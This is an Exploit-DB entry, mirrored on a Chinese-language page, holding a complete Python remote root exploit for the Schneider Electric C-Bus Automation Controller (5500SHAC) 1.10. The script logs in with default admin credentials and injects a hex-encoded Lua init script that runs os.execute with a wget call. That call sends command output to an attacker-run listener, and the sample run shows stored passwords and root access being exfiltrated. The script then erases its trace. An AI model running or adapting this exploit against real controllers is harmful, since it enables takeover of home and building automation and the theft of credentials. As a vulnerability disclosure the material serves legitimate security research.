Schneider Electric C-Bus Automation Controller (5500SHAC) 1.10 – Remote Code Execution (RCE)

  • 作者: LiquidWorm
    日期: 2022-06-03
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/50949/
  • # Exploit Title: Schneider Electric C-Bus Automation Controller (5500SHAC) 1.10 - Remote Code Execution (RCE)
    # Exploit Author: LiquidWorm
    
    #!/usr/bin/env python3
    # -*- coding: utf-8 -*-
    #
    #
    # Schneider Electric C-Bus Automation Controller (5500SHAC) 1.10 Remote Root Exploit
    #
    #
    # Vendor: Schneider Electric SE
    # Product web page: https://www.se.com | https://www.clipsal.com
    # Product details:
    # - https://www.clipsal.com/Trade/Products/ProductDetail?catno=5500SHAC
    # - https://www.se.com/ww/en/product/5500AC2/application-controller-spacelogic-cbus-rs232-485-ethernet-din-mount-24v-dc/
    # Affected version: CLIPSAL 5500SHAC (i.MX28)
    # CLIPSAL 5500NAC (i.MX28)
    # SW: 1.10.0, 1.6.0
    # HW: 1.0
    # Potentially vulnerable (alternative products/same codebase?): 5500NAC2 and 5500AC2
    # SpaceLogic C-Bus
    #
    # Summary: The C-Bus Network Automation Controller (5500NAC) and the Wiser
    # for C-Bus Automation Controller (5500SHAC)) is an advanced controller from
    # Schneider Electric. It is specifically designed to unite the C-Bus home
    # automation solution with common household communication protocols, from
    # lighting and climate control, to security, entertainment and energy metering.
    # The Wiser for C-Bus Automation Controller manages and controls C-Bus systems
    # for residential homes or zones within a building and integrates functions
    # such as heating/cooling, energy/load monitoring and remote control for C-Bus
    # and Modbus.
    #
    # Desc: The automation controller suffers from an authenticated arbitrary
    # command execution vulnerability. An attacker can abuse the Start-up (init)
    # script editor and exploit the 'script' POST parameter to insert malicious
    # Lua script code and execute commands with root privileges that will grant
    # full control of the device.
    #
    # ------------------------------------------------------------------------------
    # $ ./c-bus.py http://192.168.0.10 "cat /etc/config/httpd;id" 192.168.0.37 8888
    # ----------------------------------------------------------------------
    # Starting Z-Bus 2.5.1 ( https://zeroscience.mk ) at 15.03.2022 11:26:38
    # [*] Starting exfiltration handler on port 8888
    # [*] Writing Lua initscript... done.
    # [*] Running os.execute()... done.
    # [*] Got request from 192.168.0.10:33522
    # [*] Printing target's request:
    #
    # b"GET / HTTP/1.1\r\nHost: 192.168.0.37:8888\r\nUser-Agent: \nconfig user
    # 'admin'\n\toption password 'admin123'\n\nconfig user 'remote'\n\toption
    # password 'remote'\n\nuid=0(root) gid=0(root) groups=0(root)\r\nConnection:
    # close\r\n\r\n"
    #
    # [*] Cleaning up... done.
    #
    # $ 
    # ------------------------------------------------------------------------------
    #
    # Tested on: CPU model: ARM926EJ-S rev 5 (v5l)
    #GNU/Linux 4.4.115 (armv5tejl)
    #LuaJIT 2.0.5
    #FlashSYS v2
    #nginx
    #
    #
    # Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
    # Macedonian Information Security Research and Development Laboratory
    # Zero Science Lab - https://www.zeroscience.mk - @zeroscience
    #
    #
    # Advisory ID: ZSL-2022-5707
    # Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2022-5707.php
    #
    #
    # 12.03.2022
    #
    
    import threading#!
    import datetime##!
    import requests##!
    import socket####!
    import time######!
    import sys#######!
    import re########!
    
    from requests.auth import HTTPBasicAuth
    from time import sleep as spikaj
    
    class Wiser:
    
    def __init__(self):
    self.headers = None
    self.uri = '/scada-main/scripting/'
    self.savs = self.uri + 'save'
    self.runs = self.uri + 'run'
    self.start = datetime.datetime.now()
    self.start = self.start.strftime('%d.%m.%Y %H:%M:%S')
    self.creds = HTTPBasicAuth('admin', 'admin123')
    
    def memo(self):
    if len(sys.argv) != 5:
    self.use()
    else:
    self.target = sys.argv[1]
    self.execmd = sys.argv[2]
    self.localh = sys.argv[3]
    self.localp = int(sys.argv[4])
    if not 'http' in self.target:
    self.target = 'http://{}'.format(self.target)
    
    def exfil(self):
    print('[*] Starting exfiltration handler on port {}'.format(self.localp))
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.bind(('0.0.0.0', self.localp))
    while True:
    try:
    s.settimeout(9)
    s.listen(1)
    conn, addr = s.accept()
    print('[*] Got request from {}:{}'.format(addr[0], addr[1]))
    data = conn.recv(2003)
    print('[*] Printing target\'s request:')
    print('\n%s' %data)
    except socket.timeout as p:
    print('[!] Something\'s not right. Check your port mappings!')
    break
    s.close()
    self.clean()
    
    def mtask(self):
    konac = threading.Thread(name='thricer.exe', target=self.exfil)
    konac.start()
    self.byts()
    
    def byts(self):
    self.headers = {
    'Referer':self.target+'/scada-main/main/editor?id=initscript',
    'Sec-Ch-Ua':'"(Not(A:Brand";v="8", "Chromium";v="98"',
    'Cookie':'x-logout=0; x-auth=; x-login=1; pin=',
    'Content-Type':'text/plain;charset=UTF-8',
    'User-Agent':'SweetHomeAlabama/2003.59',
    'X-Requested-With':'XMLHttpRequest',
    'Accept-Language':'en-US,en;q=0.9',
    'Accept-Encoding':'gzip, deflate',
    'Sec-Ch-Ua-Platform':'"Windows"',
    'Sec-Fetch-Site':'same-origin',
    'Connection':'keep-alive',
    'Sec-Fetch-Dest':'empty',
    'Sec-Ch-Ua-Mobile':'?0',
    'Sec-Fetch-Mode':'cors',
    'Origin':self.target,
    'Accept':'*/*',
    'sec-gpc':'1'
    }
    
    self.loada= '\x64\x61\x74\x61\x3D\x7B' # data={
    self.loada += '\x22\x65\x78\x74\x2D\x63\x6F\x6D\x70\x2D\x31\x30\x30\x34\x22\x3A\x22\x22\x2C' # "ext-comp-1004":"",
    self.loada += '\x22\x65\x78\x74\x2D\x63\x6F\x6D\x70\x2D\x31\x30\x30\x35\x22\x3A\x22\x22\x2C' # "ext-comp-1005":"",
    self.loada += '\x22\x65\x78\x74\x2D\x63\x6F\x6D\x70\x2D\x31\x30\x30\x36\x22\x3A\x22\x22\x2C' # "ext-comp-1006":"",
    self.loada += '\x22\x65\x78\x74\x2D\x63\x6F\x6D\x70\x2D\x31\x30\x30\x37\x22\x3A\x22\x22\x2C' # "ext-comp-1007":"",
    self.loada += '\x22\x65\x78\x74\x2D\x63\x6F\x6D\x70\x2D\x31\x30\x30\x38\x22\x3A\x22\x22\x2C' # "ext-comp-1008":"",
    self.loada += '\x22\x73\x63\x61\x64\x61\x2D\x68\x65\x6C\x70\x2D\x73\x65\x61\x72\x63\x68\x22\x3A\x22\x22\x2C' # "scada-help-search":"",
    self.loada += '\x22\x69\x64\x22\x3A\x22\x69\x6E\x69\x74\x73\x63\x72\x69\x70\x74\x22\x2C' # "id":"initscript",
    self.loada += '\x22\x73\x63\x72\x69\x70\x74\x22\x3A\x6E\x75\x6C\x6C\x2C' # "script":null,
    self.loada += '\x22\x73\x63\x72\x69\x70\x74\x6F\x6E\x6C\x79\x22\x3A\x22\x74\x72\x75\x65\x22\x7D' # "scriptonly":"true"}
    self.loada += '\x26\x73\x63\x72\x69\x70\x74\x3D\x6F\x73\x2E\x65\x78\x65\x63\x75\x74\x65' # &script=os.execute
    self.loada += '\x28\x27\x77\x67\x65\x74\x20\x2D\x55\x20\x22\x60' # ('wget -U "`
    self.loada += self.execmd# [command input]
    self.loada += '\x60\x22\x20' # `".
    self.loada += self.localh+':'+str(self.localp) # [listener input]
    self.loada += '\x27\x29' # ')
    self.loadb= '\x64\x61\x74\x61\x3D\x7B' # data={
    self.loadb += '\x22\x69\x64\x22\x3A\x22\x69\x6E\x69\x74\x73\x63\x72\x69\x70\x74\x22\x7D' # "id":"initscript"}
    
    print('[*] Writing Lua initscript... ', end='')
    sys.stdout.flush()
    spikaj(0.7)
    
    htreq = requests.post(self.target+self.savs, data=self.loada, headers=self.headers, auth=self.creds)
    if not 'success' in htreq.text:
    print('didn\'t work!')
    exit(17)
    else:
    print('done.')
    
    print('[*] Running os.execute()... ', end='')
    sys.stdout.flush()
    spikaj(0.7)
    
    htreq = requests.post(self.target+self.runs, data=self.loadb, headers=self.headers, auth=self.creds)
    if not 'success' in htreq.text:
    print('didn\'t work!')
    exit(19)
    else:
    print('done.')
    
    def splash(self):
    Baah_loon = '''
     ######
     ##########
    ######_\_
    ##===----[.].]
    #( , _\\
     #)\__|
    \/
     `-._``-'
    >@
     |
     |
     |
     |
     |Schneider Electric C-Bus SmartHome Automation Controller
     |Root Remote Code Execution Proof of Concept
     | ZSL-2022-5707
     |
     |
     |
    '''
    print(Baah_loon)
    
    def use(self):
    self.splash()
    print('Usage: ./c-bus.py [target] [cmd] [lhost] [lport]')
    exit(0)
    
    def clean(self):
    print('\n[*] Cleaning up... ', end='')
    sys.stdout.flush()
    spikaj(0.7)
    
    self.headers = {'X-Requested-With':'XMLHttpRequest'}
    
    self.blank= '\x64\x61\x74\x61\x3D\x25\x37\x42\x25\x32\x32'
    self.blank += '\x65\x78\x74\x2D\x63\x6F\x6D\x70\x2D\x31\x30'
    self.blank += '\x30\x34\x25\x32\x32\x25\x33\x41\x25\x32\x32'
    self.blank += '\x25\x32\x32\x25\x32\x43\x25\x32\x32\x65\x78'
    
    self.dlank= '\x74\x2D\x63\x6F\x6D\x70\x2D\x31\x30\x30\x35'
    self.dlank += '\x25\x32\x32\x25\x33\x41\x25\x32\x32\x25\x32'
    self.dlank += '\x32\x25\x32\x43\x25\x32\x32\x65\x78\x74\x2D'
    self.dlank += '\x63\x6F\x6D\x70\x2D\x31\x30\x30\x36\x25\x32'
    
    self.clank= '\x32\x25\x33\x41\x25\x32\x32\x25\x32\x32\x25'
    self.clank += '\x32\x43\x25\x32\x32\x65\x78\x74\x2D\x63\x6F'
    self.clank += '\x6D\x70\x2D\x31\x30\x30\x37\x25\x32\x32\x25'
    self.clank += '\x33\x41\x25\x32\x32\x25\x32\x32\x25\x32\x43'
    
    self.slank= '\x25\x32\x32\x65\x78\x74\x2D\x63\x6F\x6D\x70'
    self.slank += '\x2D\x31\x30\x30\x38\x25\x32\x32\x25\x33\x41'
    self.slank += '\x25\x32\x32\x25\x32\x32\x25\x32\x43\x25\x32'
    self.slank += '\x32\x73\x63\x61\x64\x61\x2D\x68\x65\x6C\x70'
    
    self.glank= '\x2D\x73\x65\x61\x72\x63\x68\x25\x32\x32\x25'
    self.glank += '\x33\x41\x25\x32\x32\x25\x32\x32\x25\x32\x43'
    self.glank += '\x25\x32\x32\x69\x64\x25\x32\x32\x25\x33\x41'
    self.glank += '\x25\x32\x32\x69\x6E\x69\x74\x73\x63\x72\x69'
    
    self.hlank= '\x70\x74\x25\x32\x32\x25\x32\x43\x25\x32\x32'
    self.hlank += '\x73\x63\x72\x69\x70\x74\x25\x32\x32\x25\x33'
    self.hlank += '\x41\x25\x32\x32\x25\x32\x32\x25\x32\x43\x25'
    self.hlank += '\x32\x32\x73\x63\x72\x69\x70\x74\x6F\x6E\x6C'
    
    self.flank= '\x79\x25\x32\x32\x25\x33\x41\x25\x32\x32\x74'
    self.flank += '\x72\x75\x65\x25\x32\x32\x25\x37\x44'#######'
    
    self.clear = f'{self.blank}{self.dlank}{self.clank}{self.slank}{self.glank}{self.hlank}{self.flank}'
    htreq = requests.post(self.target+self.savs, data=self.clear, headers=self.headers, auth=self.creds)
    if not 'success' in htreq.text:
    print('didn\'t work!')
    exit(18)
    else:
    print('done.')
    exit(-1)
    
    def main(self):
    print('-'*70)
    print('Starting Z-Bus 2.5.1 ( https://zeroscience.mk ) at', self.start)
    self.memo(), self.mtask()
    
    if __name__ == '__main__':
    Wiser().main()